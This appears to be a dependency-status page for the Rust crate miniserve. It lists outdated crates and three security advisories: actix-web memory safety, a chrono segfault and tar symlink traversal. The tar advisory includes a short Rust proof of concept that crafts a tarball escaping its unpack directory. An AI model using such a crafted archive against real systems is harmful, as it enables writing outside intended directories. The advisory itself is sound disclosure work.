This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate miniserve

Dependencies

(26 total, 18 outdated, 3 possibly insecure)

CrateRequiredLatestStatus
 actix^0.70.13.3out of date
 actix-web ⚠️^0.74.5.1out of date
 alphanumeric-sort^1.0.61.5.3up to date
 base64^0.100.22.0out of date
 bytes^0.4.121.6.0out of date
 bytesize^1.0.01.3.0up to date
 chrono ⚠️^0.4.70.4.38maybe insecure
 chrono-humanize^0.0.110.2.3out of date
 clap^2.294.5.4out of date
 failure^0.1.50.1.8up to date
 futures^0.1.280.3.30out of date
 hex^0.3.20.4.3out of date
 htmlescape^0.3.10.3.1up to date
 libflate^0.1.242.0.0out of date
 log^0.4.60.4.21up to date
 maud^0.20.00.26.0out of date
 nanoid^0.2.00.4.0out of date
 percent-encoding^1.0.12.3.1out of date
 serde^1.0.941.0.198up to date
 sha2^0.8.00.10.8out of date
 simplelog^0.60.12.2out of date
 structopt^0.2.180.3.26out of date
 strum^0.15.00.26.2out of date
 strum_macros^0.15.00.26.2out of date
 tar ⚠️^0.4.250.4.40maybe insecure
 yansi^0.51.0.1out of date

Dev dependencies

(7 total, 7 outdated)

CrateRequiredLatestStatus
 assert_cmd^0.112.0.14out of date
 assert_fs^0.111.1.1out of date
 port_check^0.10.2.1out of date
 pretty_assertions^0.61.4.0out of date
 reqwest^0.90.12.3out of date
 rstest^0.30.19.0out of date
 select^0.40.6.0out of date

Security Vulnerabilities

actix-web: Multiple memory safety issues

RUSTSEC-2018-0019

Affected versions contain multiple memory safety issues, such as:

  • Unsoundly coercing immutable references to mutable references
  • Unsoundly extending lifetimes of strings
  • Adding the Send marker trait to objects that cannot be safely sent between threads

This may result in a variety of memory corruption scenarios, most likely use-after-free.

A significant refactoring effort has been conducted to resolve these issues.

chrono: Potential segfault in `localtime_r` invocations

RUSTSEC-2020-0159

Impact

Unix-like operating systems may segfault due to dereferencing a dangling pointer in specific circumstances. This requires an environment variable to be set in a different thread than the affected functions. This may occur without the user's knowledge, notably in a third-party library.

Workarounds

No workarounds are known.

References

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!